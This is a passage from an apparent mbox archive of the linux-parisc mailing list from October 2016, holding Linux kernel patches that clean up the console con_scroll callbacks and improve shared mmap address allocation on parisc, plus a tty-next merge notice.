diff --git a/drivers/usb/misc/sisusbvga/sisusb_con.c b/drivers/usb/misc/sisusbvga/sisusb_con.c
index 460cebf322e3..6331965daa0b 100644
--- a/drivers/usb/misc/sisusbvga/sisusb_con.c
+++ b/drivers/usb/misc/sisusbvga/sisusb_con.c
@@ -808,9 +808,10 @@ sisusbcon_cursor(struct vc_data *c, int mode)
 	mutex_unlock(&sisusb->lock);
 }
 
-static int
+static bool
 sisusbcon_scroll_area(struct vc_data *c, struct sisusb_usb_data *sisusb,
-					int t, int b, int dir, int lines)
+		unsigned int t, unsigned int b, enum con_scroll dir,
+		unsigned int lines)
 {
 	int cols = sisusb->sisusb_num_columns;
 	int length = ((b - t) * cols) * 2;
@@ -852,8 +853,9 @@ sisusbcon_scroll_area(struct vc_data *c, struct sisusb_usb_data *sisusb,
 }
 
 /* Interface routine */
-static int
-sisusbcon_scroll(struct vc_data *c, int t, int b, int dir, int lines)
+static bool
+sisusbcon_scroll(struct vc_data *c, unsigned int t, unsigned int b,
+		enum con_scroll dir, unsigned int lines)
 {
 	struct sisusb_usb_data *sisusb;
 	u16 eattr = c->vc_video_erase_char;
@@ -870,17 +872,17 @@ sisusbcon_scroll(struct vc_data *c, int t, int b, int dir, int lines)
 	 */
 
 	if (!lines)
-		return 1;
+		return true;
 
 	sisusb = sisusb_get_sisusb_lock_and_check(c->vc_num);
 	if (!sisusb)
-		return 0;
+		return false;
 
 	/* sisusb->lock is down */
 
 	if (sisusb_is_inactive(c, sisusb)) {
 		mutex_unlock(&sisusb->lock);
-		return 0;
+		return false;
 	}
 
 	/* Special case */
@@ -971,7 +973,7 @@ sisusbcon_scroll(struct vc_data *c, int t, int b, int dir, int lines)
 
 	mutex_unlock(&sisusb->lock);
 
-	return 1;
+	return true;
 }
 
 /* Interface routine */
diff --git a/drivers/video/console/fbcon.c b/drivers/video/console/fbcon.c
index b87f5cfdaea5..a44f5627b82a 100644
--- a/drivers/video/console/fbcon.c
+++ b/drivers/video/console/fbcon.c
@@ -164,8 +164,6 @@ static void fbcon_putcs(struct vc_data *vc, const unsigned short *s,
 			int count, int ypos, int xpos);
 static void fbcon_clear_margins(struct vc_data *vc, int bottom_only);
 static void fbcon_cursor(struct vc_data *vc, int mode);
-static int fbcon_scroll(struct vc_data *vc, int t, int b, int dir,
-			int count);
 static void fbcon_bmove(struct vc_data *vc, int sy, int sx, int dy, int dx,
 			int height, int width);
 static int fbcon_switch(struct vc_data *vc);
@@ -1795,15 +1793,15 @@ static inline void fbcon_softback_note(struct vc_data *vc, int t,
 	softback_curr = softback_in;
 }
 
-static int fbcon_scroll(struct vc_data *vc, int t, int b, int dir,
-			int count)
+static bool fbcon_scroll(struct vc_data *vc, unsigned int t, unsigned int b,
+		enum con_scroll dir, unsigned int count)
 {
 	struct fb_info *info = registered_fb[con2fb_map[vc->vc_num]];
 	struct display *p = &fb_display[vc->vc_num];
 	int scroll_partial = info->flags & FBINFO_PARTIAL_PAN_OK;
 
 	if (fbcon_is_inactive(vc, info))
-		return -EINVAL;
+		return true;
 
 	fbcon_cursor(vc, CM_ERASE);
 
@@ -1831,7 +1829,7 @@ static int fbcon_scroll(struct vc_data *vc, int t, int b, int dir,
 							(b - count)),
 				    vc->vc_video_erase_char,
 				    vc->vc_size_row * count);
-			return 1;
+			return true;
 			break;
 
 		case SCROLL_WRAP_MOVE:
@@ -1903,7 +1901,7 @@ static int fbcon_scroll(struct vc_data *vc, int t, int b, int dir,
 							(b - count)),
 				    vc->vc_video_erase_char,
 				    vc->vc_size_row * count);
-			return 1;
+			return true;
 		}
 		break;
 
@@ -1922,7 +1920,7 @@ static int fbcon_scroll(struct vc_data *vc, int t, int b, int dir,
 							t),
 				    vc->vc_video_erase_char,
 				    vc->vc_size_row * count);
-			return 1;
+			return true;
 			break;
 
 		case SCROLL_WRAP_MOVE:
@@ -1992,10 +1990,10 @@ static int fbcon_scroll(struct vc_data *vc, int t, int b, int dir,
 							t),
 				    vc->vc_video_erase_char,
 				    vc->vc_size_row * count);
-			return 1;
+			return true;
 		}
 	}
-	return 0;
+	return false;
 }
 
 
diff --git a/drivers/video/console/mdacon.c b/drivers/video/console/mdacon.c
index bacbb044d77c..ec192a1bf297 100644
--- a/drivers/video/console/mdacon.c
+++ b/drivers/video/console/mdacon.c
@@ -488,12 +488,13 @@ static void mdacon_cursor(struct vc_data *c, int mode)
 	}
 }
 
-static int mdacon_scroll(struct vc_data *c, int t, int b, int dir, int lines)
+static bool mdacon_scroll(struct vc_data *c, unsigned int t, unsigned int b,
+		enum con_scroll dir, unsigned int lines)
 {
 	u16 eattr = mda_convert_attr(c->vc_video_erase_char);
 
 	if (!lines)
-		return 0;
+		return false;
 
 	if (lines > c->vc_rows)   /* maximum realistic size */
 		lines = c->vc_rows;
@@ -514,7 +515,7 @@ static int mdacon_scroll(struct vc_data *c, int t, int b, int dir, int lines)
 		break;
 	}
 
-	return 0;
+	return false;
 }
 
 
diff --git a/drivers/video/console/newport_con.c b/drivers/video/console/newport_con.c
index e3b9521e4ec3..1e11614322fe 100644
--- a/drivers/video/console/newport_con.c
+++ b/drivers/video/console/newport_con.c
@@ -574,8 +574,8 @@ static int newport_font_set(struct vc_data *vc, struct console_font *font, unsig
 	return newport_set_font(vc->vc_num, font);
 }
 
-static int newport_scroll(struct vc_data *vc, int t, int b, int dir,
-			  int lines)
+static bool newport_scroll(struct vc_data *vc, unsigned int t, unsigned int b,
+		enum con_scroll dir, unsigned int lines)
 {
 	int count, x, y;
 	unsigned short *s, *d;
@@ -595,7 +595,7 @@ static int newport_scroll(struct vc_data *vc, int t, int b, int dir,
 					    (vc->vc_color & 0xf0) >> 4);
 		}
 		npregs->cset.topscan = (topscan - 1) & 0x3ff;
-		return 0;
+		return false;
 	}
 
 	count = (b - t - lines) * vc->vc_cols;
@@ -670,7 +670,7 @@ static int newport_scroll(struct vc_data *vc, int t, int b, int dir,
 			}
 		}
 	}
-	return 1;
+	return true;
 }
 
 static int newport_dummy(struct vc_data *c)
diff --git a/drivers/video/console/sticon.c b/drivers/video/console/sticon.c
index 3a10ac19598f..79c9bd8d3025 100644
--- a/drivers/video/console/sticon.c
+++ b/drivers/video/console/sticon.c
@@ -153,12 +153,13 @@ static void sticon_cursor(struct vc_data *conp, int mode)
     }
 }
 
-static int sticon_scroll(struct vc_data *conp, int t, int b, int dir, int count)
+static bool sticon_scroll(struct vc_data *conp, unsigned int t,
+		unsigned int b, enum con_scroll dir, unsigned int count)
 {
     struct sti_struct *sti = sticon_sti;
 
     if (vga_is_gfx)
-        return 0;
+        return false;
 
     sticon_cursor(conp, CM_ERASE);
 
@@ -174,7 +175,7 @@ static int sticon_scroll(struct vc_data *conp, int t, int b, int dir, int count)
 	break;
     }
 
-    return 0;
+    return false;
 }
 
 static void sticon_init(struct vc_data *c, int init)
diff --git a/drivers/video/console/vgacon.c b/drivers/video/console/vgacon.c
index 11576611a974..4c54a873452e 100644
--- a/drivers/video/console/vgacon.c
+++ b/drivers/video/console/vgacon.c
@@ -83,8 +83,6 @@ static int vgacon_blank(struct vc_data *c, int blank, int mode_switch);
 static void vgacon_scrolldelta(struct vc_data *c, int lines);
 static int vgacon_set_origin(struct vc_data *c);
 static void vgacon_save_screen(struct vc_data *c);
-static int vgacon_scroll(struct vc_data *c, int t, int b, int dir,
-			 int lines);
 static void vgacon_invert_region(struct vc_data *c, u16 * p, int count);
 static struct uni_pagedir *vgacon_uni_pagedir;
 static int vgacon_refcount;
@@ -1350,17 +1348,17 @@ static void vgacon_save_screen(struct vc_data *c)
 			    c->vc_screenbuf_size > vga_vram_size ? vga_vram_size : c->vc_screenbuf_size);
 }
 
-static int vgacon_scroll(struct vc_data *c, int t, int b, int dir,
-			 int lines)
+static bool vgacon_scroll(struct vc_data *c, unsigned int t, unsigned int b,
+		enum con_scroll dir, unsigned int lines)
 {
 	unsigned long oldo;
 	unsigned int delta;
 
 	if (t || b != c->vc_rows || vga_is_gfx || c->vc_mode != KD_TEXT)
-		return 0;
+		return false;
 
 	if (!vga_hardscroll_enabled || lines >= c->vc_rows / 2)
-		return 0;
+		return false;
 
 	vgacon_restore_screen(c);
 	oldo = c->vc_origin;
@@ -1396,7 +1394,7 @@ static int vgacon_scroll(struct vc_data *c, int t, int b, int dir,
 	c->vc_visible_origin = c->vc_origin;
 	vga_set_mem_top(c);
 	c->vc_pos = (c->vc_pos - oldo) + c->vc_origin;
-	return 1;
+	return true;
 }
 
 
diff --git a/include/linux/console.h b/include/linux/console.h
index 3672809234a7..508b012bd5bd 100644
--- a/include/linux/console.h
+++ b/include/linux/console.h
@@ -28,9 +28,17 @@ struct tty_struct;
 #define VT100ID "\033[?1;2c"
 #define VT102ID "\033[?6c"
 
+enum con_scroll {
+	SM_UP,
+	SM_DOWN,
+};
+
 /**
  * struct consw - callbacks for consoles
  *
+ * @con_scroll: move lines from @top to @bottom in direction @dir by @lines.
+ *		Return true if no generic handling should be done.
+ *		Invoked by csi_M and printing to the console.
  * @con_set_palette: sets the palette of the console to @table (optional)
  * @con_scrolldelta: the contents of the console should be scrolled by @lines.
  *		     Invoked by user. (optional)
@@ -44,7 +52,9 @@ struct consw {
 	void	(*con_putc)(struct vc_data *, int, int, int);
 	void	(*con_putcs)(struct vc_data *, const unsigned short *, int, int, int);
 	void	(*con_cursor)(struct vc_data *, int);
-	int	(*con_scroll)(struct vc_data *, int, int, int, int);
+	bool	(*con_scroll)(struct vc_data *, unsigned int top,
+			unsigned int bottom, enum con_scroll dir,
+			unsigned int lines);
 	int	(*con_switch)(struct vc_data *);
 	int	(*con_blank)(struct vc_data *, int, int);
 	int	(*con_font_set)(struct vc_data *, struct console_font *, unsigned);
@@ -99,10 +109,6 @@ static inline int con_debug_leave(void)
 }
 #endif
 
-/* scroll */
-#define SM_UP       (1)
-#define SM_DOWN     (2)

From - Thu Nov 08 21:39:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: keep track of last shared mmap'ed address
Date: Thu, 27 Oct 2016 20:39:29 +0200
Lines: 104
Approved: news@gmane.org
Message-ID: <20161027183929.GA10225@ls3530.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1477593613 19217 195.159.176.226 (27 Oct 2016 18:40:13 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 27 Oct 2016 18:40:13 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 27 20:40:08 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bzpaW-0001C6-Rr
	for glpp-linux-parisc@m.gmane.org; Thu, 27 Oct 2016 20:39:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S934208AbcJ0Sjm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Thu, 27 Oct 2016 14:39:42 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:54034 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S933171AbcJ0Sjl (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Thu, 27 Oct 2016 14:39:41 -0400
Original-Received: from ls3530.box ([92.203.32.222]) by mail.gmx.com (mrgmx103) with
 ESMTPSA (Nemesis) id 0LeeNW-1cgMfa1pOg-00qVmG; Thu, 27 Oct 2016 20:39:32
 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:PjjLkl+0iLlZllPz+2HurU0Ws28ocTkRg28+y5HGG/HfAHhHpPq
 JaaD1HVIklDOaan11LCp9fExFgp0FA6YI6W5Zg8tq388Z6Kxz7Xrhi6Pa478L2pYd2cz2Me
 dMgUlyWIv02mcgCIew1qOstRtcBxXyTBSUk0wZuCxglWb/Ei5RejivZVrVaAtQFdl7qE+HV
 G2IfDagFXmd5tSxZegi6A==
X-UI-Out-Filterresults: notjunk:1;V01:K0:SLA+HWZTa1w=:8yNDskYkae33wIv4jl5K/O
 n+NZkYSD41gaxCmT+CcgI66Ogv3N4TpdMDp6vxGTMZA/tZsq76jqLNHeOg4oC8jvLiDtSPZ4u
 tjP8fx188U0te45pKwmAebxXmlcD4huttn/KHy8clFbBq9vdWKjQiynwholLgJ73LFnR1nxu8
 Ss7draXMKRhfEQirdOTJ8PJ73cZ3UBx0fx20Ye0KFFD/pZNbHShRin0cGqNimeMDqWh1i3FXy
 0u7fiNBJqw3y5fl4mstV09HxYtGnWij8YFU3FTgJtC3XaUkgYkT3rw6S2DhXDBvhamKUMyIfJ
 EpMTI4Ixd67OLDu9gZ758bTlT5MI7t4nDLGtj6bDP/7+0o+KVjA0ljS/ZvZ/oA7IoXAilu50i
 lzW9V5/OmTJNH2OgQGHP2fI/NV8CVYonM8/a6nNW3dveQkfCHzC9wBd2PdUb8g1yuCqtQ+lKQ
 WGF5Iu1FuyCXETKhCwycrlVSutQhu/UaMbLiOATOrz3rMnUzv3Gd8DK6PEcG5ob0lrBG22XqQ
 RTOKnPbGxKPh+PdS5dZecNmSap1ToSVnVU6aP7k6mmFsVDFKHwJ4UkrphfDyYRt2EJRDYTvT/
 5HV2FvSn99lx4ZmwF2cNWTtD+8MfS4MbPt9dXP4mlwNqRT+crUrYfSYZDkozxYuPe/A9o/0XT
 bdfXabuQ4E9ZyJ2P4wJONPV27m9Xq3+j9z6gbY5C6nJxDDS96VX8pd689E/woFl1rrK7THe7P
 o+4Vt3+WwK9ADts3vbo3TF2j0LmEmpqgamTVDmsZio9KSfGrLFo69dSM5m4=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27018
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27018>

shared mappings (v2)
Reply-To: 
In-Reply-To: <20140417204545.GA4567@ls3530.fritz.box>

* Helge Deller <deller@gmx.de>:
> [RFC,PATCH] mm,parisc: keep track of last mmap'ed address
> 
> Because of parisc's cache aliasing constraints we need to map shared pages at a
> multiple of 4MB while most other architectures can map files at any multiple of
> PAGE_SIZE. In the past this constraint was ensured by calculating a virtual
> offset into this 4MB region which is based on the physical address of the
> kernel mapping variable (right-shift value of filp->f_mapping by 8 bits).
> Since we only have a 32bit userspace (even when running on a 64bit kernel) this
> often leads to large gaps in the maps of the userspace processes and to out of
> memory situations even if physical memory was still free.  Of course I did
> played with other variants of shifting the f_mapping value to find better
> offsets but this didn't helped either.
> 
> This patch chooses a different approach.
> It adds the additional field i_mmap_lastmmap to the address_space struct to
> keep track of the last mapping of a shared file. With this bookkeeping it's
> possible for the parisc memory allocator to 
> a) choose a new mapping offset if the file hasn't been mapped yet, and
> b) take the last-used mapping if it was already mapped by another process.
> 
> Overall this approach leads to a more condensed memory usage on parisc because
> the shared files will now be mapped much closer to each other. This is e.g.
> visible with shared libraries which are now not any longer cluttered around
> in the userspace process but close to each other at the top of the userspace
> memory.

This is version 2 of this patch.

Instead of adding one additional field to the address space struct, it
now uses the private_data field of the file struct to store the last
used mmap address.

Additionally I tweaked the flush_dcache_page() function to warn for
INEQUIVALENT ALIASES only for shared mappings and ignore private
mappings. Without this change, stracing applications sometimes showed
those warnings. Not sure if this is the right thing to do.

My testing didn't showed any negative effects yet, although I'm not sure
if the usage of the private_data field may conflict with other use
cases, e.g. compressed file systems or such.

To benefit from the more effective/condensed memory usage one additional
patch is needed.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index 629eb46..f72789b 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -321,10 +321,10 @@ void flush_dcache_page(struct page *page)
 
 	pgoff = page->index;
 
-	/* We have carefully arranged in arch_get_unmapped_area() that
-	 * *any* mappings of a file are always congruently mapped (whether
-	 * declared as MAP_PRIVATE or MAP_SHARED), so we only need
-	 * to flush one address here for them all to become coherent */
+	/* We have carefully arranged in arch_get_unmapped_area() that mappings
+	 * of a file are always congruently mapped (if declared as MAP_SHARED, not
+	 * MAP_PRIVATE), so we only need to flush one address here for them all to
+	 * become coherent */
 
 	flush_dcache_mmap_lock(mapping);
 	vma_interval_tree_foreach(mpnt, &mapping->i_mmap, pgoff, pgoff) {
@@ -344,7 +344,7 @@ void flush_dcache_page(struct page *page)
 		if (old_addr == 0 || (old_addr & (SHM_COLOUR - 1))
 				      != (addr & (SHM_COLOUR - 1))) {
 			__flush_cache_page(mpnt, addr, page_to_phys(page));
-			if (old_addr)
+			if (old_addr && (mpnt->vm_flags & VM_SHARED))
 				printk(KERN_ERR "INEQUIVALENT ALIASES 0x%lx and 0x%lx in file %pD\n", old_addr, addr, mpnt->vm_file);
 			old_addr = addr;
 		}
diff --git a/arch/parisc/kernel/sys_parisc.c b/arch/parisc/kernel/sys_parisc.c
index 0a393a0..c04d946 100644
--- a/arch/parisc/kernel/sys_parisc.c
+++ b/arch/parisc/kernel/sys_parisc.c
@@ -36,12 +36,11 @@
 #include <linux/personality.h>
 #include <linux/random.h>
 
-/* we construct an artificial offset for the mapping based on the physical
- * address of the kernel mapping variable */
+/* keep track of the last mapping address offset in the private_data field */
 #define GET_LAST_MMAP(filp)		\
-	(filp ? ((unsigned long) filp->f_mapping) >> 8 : 0UL)
+	(filp && (file_count(filp) > 0) ? (unsigned long) filp->private_data : 0UL)
 #define SET_LAST_MMAP(filp, val)	\
-	 { /* nothing */ }
+	{ if (filp) filp->private_data = (void *) (val); }
 
 static int get_offset(unsigned int last_mmap)
 {
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] mm, parisc: Optimize unmapped_area_topdown() allocation for
 bigger alignments
Date: Thu, 27 Oct 2016 21:56:54 +0200
Lines: 109
Approved: news@gmane.org
Message-ID: <20161027195654.GA31972@ls3530.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1477598274 6223 195.159.176.226 (27 Oct 2016 19:57:54 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 27 Oct 2016 19:57:54 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 27 21:57:43 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bzqnZ-0005CN-UF
	for glpp-linux-parisc@m.gmane.org; Thu, 27 Oct 2016 21:57:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S935703AbcJ0T5M (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Thu, 27 Oct 2016 15:57:12 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:50324 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S933171AbcJ0T5L (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Thu, 27 Oct 2016 15:57:11 -0400
Original-Received: from ls3530.box ([92.203.32.222]) by mail.gmx.com (mrgmx103) with
 ESMTPSA (Nemesis) id 0MNIO5-1bxtvF3yPp-006xl4; Thu, 27 Oct 2016 21:56:57
 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:ZWWZ2gDa/RlHuHIt1n0fFa6hC/eGLTaoswL1G3bIkVLjBemAqaS
 ta9MIn1VrVUznmm9lb9wzY7TLS0KAckHXNM5v4nXxkkoiC6aBiPi5hkbeFRfMlx2UG8/Gqg
 O9WyH2xiEl3upgOwIGWCVImtgUq0C0XfjnpAt3tEUCC/2V8nqgIU+j+qkJ8skaW+oMr0vpk
 6qr5bcpkOfnfsjSceIOrA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:wfXifu8IKgI=:GBk7lS5dYsZcs9zDgj7Zyq
 uoMynHLx1URdR1GxLH8W1GYqtmOaF2CCe53GUg7SXvFw3ejMerSipIJiaXZhs+VPeLnDmn42O
 DoZYaMhyJePSYLrkd6KayeJTk+JO0GG+Wxbd3kGYMeLo9SeDXVksBHLL9FXry3rVh32BvE0GJ
 b/lM3iv4VaUBDxbuMqIE1ZYLqkNfbqQTrPdmoH4ToVEGATbyxzTL4OpBtYRd5dHOGjobwGrCL
 FKuqVk2vJbPgQrrtcrKsJhVFQsjhZjNp1BiwqDrSh9YZZ9aR9harhYrxWerc2RGodSeO7730B
 AsLjx3YYPc6gQbk9Gg6Fh7OQqbd1GCTRke2DQmaUVL/7J6KdIw3nvnjyyfB8Y7fzf6JeiZPf7
 5AT1l6FsuulZ/iKWyMutPFhVP2lNBKUsoP+9nY5chfWiKK6uY28Rcmn21Kq02O8iL4k7sPlT+
 qvbqZNgBdcWpOeD6VEAdDjHjhEDNawCOnnJ71fk250IX8zL7ljoplinEKRrZKBmvpaPY4PXEl
 Er6eIb81WhXWsZWRElV+DtkQ2QCTjiOWjRUJ3IbT4Jh3uJp3k8khAoiYlodjvcPZ7s89IGGBR
 3HKRMUCsgImfsRzTBkyHvV6ZvA9Fydo4NTHWfmnHLBkR8z6G9w6v1swtb9LTuPmIcpF7MCqts
 syaA724l859xUlPn9B1DO7ZLCU6hoMu7tHnCmAjjuEqW7+auLaXn1hFLYuht0NC9JPPwXvjbr
 qu60m7sAHHi/iqL7jyniN9HN0emy87XG9Rv8eLK9MCLswfxVZYOT/KRHs/c=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27019
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27019>

(resending this patch from April 2014 to get it into patchwork)

The current implementation of unmapped_area_topdown() is very inefficient for
architectures which require an alignment bigger than PAGE_SIZE for shared
mappings. This basically affects architectures like parisc, ia64, sparc and
probably others.

When unmapped_area_topdown() is called to find a free area, the current
implementation looks for an area of size (length + align_mask). For many
architectures align_mask is 4k (=PAGE_SIZE), while others due to cache
colouring require bigger alignment masks of up to 4 MB (e.g. on parisc). In
fragmented memory situations this may lead to unmapped_area_topdown() being
unable to find even for a few bytes requested a suitable area and as such may
return out of memory.

This patch modifies the search algorithm to look for an area of the requested
size while taking the required alignment and alignment offset into account.

Tested on 32- and 64-bit parisc kernels.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/mm/mmap.c b/mm/mmap.c
index 1af87c1..f675e07 100644
--- a/mm/mmap.c
+++ b/mm/mmap.c
@@ -1848,16 +1848,26 @@ unsigned long unmapped_area(struct vm_unmapped_area_info *info)
 	return gap_start;
 }
 
+/* adjust gap start address upwards to desired alignment */
+static unsigned long gap_start_round_up(unsigned long start,
+				struct vm_unmapped_area_info *info)
+{
+	if (!info->align_mask)
+		return start;
+	if ((start & info->align_mask) > info->align_offset)
+		start = ALIGN(start, info->align_mask+1) + info->align_offset;
+	else
+		start = (start & ~info->align_mask) + info->align_offset;
+	return start;
+}
+
 unsigned long unmapped_area_topdown(struct vm_unmapped_area_info *info)
 {
 	struct mm_struct *mm = current->mm;
 	struct vm_area_struct *vma;
 	unsigned long length, low_limit, high_limit, gap_start, gap_end;
 
-	/* Adjust search length to account for worst case alignment overhead */
-	length = info->length + info->align_mask;
-	if (length < info->length)
-		return -ENOMEM;
+	length = info->length;
 
 	/*
 	 * Adjust search limits by the desired length.
@@ -1874,8 +1884,10 @@ unsigned long unmapped_area_topdown(struct vm_unmapped_area_info *info)
 
 	/* Check highest gap, which does not precede any rbtree node */
 	gap_start = mm->highest_vm_end;
-	if (gap_start <= high_limit)
-		goto found_highest;
+	gap_start = gap_start_round_up(gap_start, info);
+	if (gap_start <= high_limit && gap_end - gap_start >= length &&
+			gap_start < gap_end)
+		goto found;
 
 	/* Check if rbtree root looks promising */
 	if (RB_EMPTY_ROOT(&mm->mm_rb))
@@ -1887,6 +1899,7 @@ unsigned long unmapped_area_topdown(struct vm_unmapped_area_info *info)
 	while (true) {
 		/* Visit right subtree if it looks promising */
 		gap_start = vma->vm_prev ? vma->vm_prev->vm_end : 0;
+		gap_start = gap_start_round_up(gap_start, info);
 		if (gap_start <= high_limit && vma->vm_rb.rb_right) {
 			struct vm_area_struct *right =
 				rb_entry(vma->vm_rb.rb_right,
@@ -1902,7 +1915,8 @@ unsigned long unmapped_area_topdown(struct vm_unmapped_area_info *info)
 		gap_end = vma->vm_start;
 		if (gap_end < low_limit)
 			return -ENOMEM;
-		if (gap_start <= high_limit && gap_end - gap_start >= length)
+		if (gap_start <= high_limit && gap_end - gap_start >= length &&
+				gap_start < gap_end)
 			goto found;
 
 		/* Visit left subtree if it looks promising */
@@ -1926,6 +1940,7 @@ unsigned long unmapped_area_topdown(struct vm_unmapped_area_info *info)
 			if (prev == vma->vm_rb.rb_right) {
 				gap_start = vma->vm_prev ?
 					vma->vm_prev->vm_end : 0;
+				gap_start = gap_start_round_up(gap_start, info);
 				goto check_current;
 			}
 		}
@@ -1936,7 +1951,6 @@ unsigned long unmapped_area_topdown(struct vm_unmapped_area_info *info)
 	if (gap_end > info->high_limit)
 		gap_end = info->high_limit;
 
-found_highest:
 	/* Compute highest gap address at the desired alignment */
 	gap_end -= info->length;
 	gap_end -= (gap_end - info->align_offset) & info->align_mask;
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: <gregkh@linuxfoundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.usb.general
Subject: patch "tty: vt, cleanup and document con_scroll" added to tty-next
Date: Fri, 28 Oct 2016 04:21:02 -0400
Lines: 385
Approved: news@gmane.org
Message-ID: <147764286250173@kroah.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ANSI_X3.4-1968
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1477642899 10419 195.159.176.226 (28 Oct 2016 08:21:39 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 28 Oct 2016 08:21:39 +0000 (UTC)
To: jslaby@suse.cz, deller@gmx.de, gregkh@linuxfoundation.org,
        jejb@parisc-linux.org, linux-fbdev@vger.kernel.org,
        linux-parisc@vger.kernel.org, linux-usb@vger.kernel.org,
        thomas@winischhofer.net, tomi.valkeinen@ti.com
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 28 10:21:34 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1c02PT-0006gm-On
	for glpp-linux-parisc@m.gmane.org; Fri, 28 Oct 2016 10:21:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S964881AbcJ1IVD (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 28 Oct 2016 04:21:03 -0400
Original-Received: from mail.linuxfoundation.org ([140.211.169.12]:49026 "EHLO
        mail.linuxfoundation.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S936218AbcJ1IVB (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 28 Oct 2016 04:21:01 -0400
Original-Received: from localhost (timessq103.t.subnet.rcn.com [206.71.234.194])
        by mail.linuxfoundation.org (Postfix) with ESMTPSA id E245D481;
        Fri, 28 Oct 2016 08:20:59 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27020 gmane.linux.usb.general:149603
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27020>


This is a note to let you know that I've just added the patch titled

    tty: vt, cleanup and document con_scroll

to my tty git tree which can be found at
    git://git.kernel.org/pub/scm/linux/kernel/git/gregkh/tty.git
in the tty-next branch.

